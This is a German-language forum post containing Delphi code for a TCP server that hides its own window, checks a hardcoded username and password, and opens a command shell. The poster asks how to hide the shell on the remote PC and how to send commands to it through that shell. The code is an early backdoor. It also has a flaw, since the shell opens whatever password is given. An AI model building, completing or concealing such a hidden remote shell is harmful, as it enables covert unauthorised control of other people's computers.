Delphi-Quellcode:
procedure TForm1.FormCreate(Sender: TObject);
begin
IdTCPServer1.Active := True;
Application.ShowMainForm := false;
end;
procedure TForm1.IdTCPServer1Execute(AThread: TIdPeerThread);
var user,passwort:String;
begin
user:= athread.connection.readln;
if user = 'rubooo' then begin
athread.Connection.WriteLn('Passwort eingeben: ');
passwort := athread.connection.ReadLn;
if passwort = 'test' then athread.connection.writeln('Willkommen!');
ShellExecute(Application.Handle, 'open', PChar(SysUtils.GetEnvironmentVariable('COMSPEC')),
PChar(''), nil, SW_show);
end else begin
athread.Connection.Disconnect;
end;
end;
procedure TForm1.IdTCPServer1Connect(AThread: TIdPeerThread);
begin
athread.connection.WriteLn('Username eingeben: ');
end;
end.
dieses code funktioniert auch soweit (ich connecte zu dem server per telnet ) ! aber jetzt habe ich eine frage::
wie kann ich die shell auf dem remotepc verstecken ! oder wie kann ich kommandos an den remotpc senden, per shell ??!!
ich würde mich auch über ein gutes tut über den befehl shellexecute freuen
!
[edit=alcaeus]Code-Tags durch Delphi-Tags ersetzt. Mfg, alcaeus[/edit]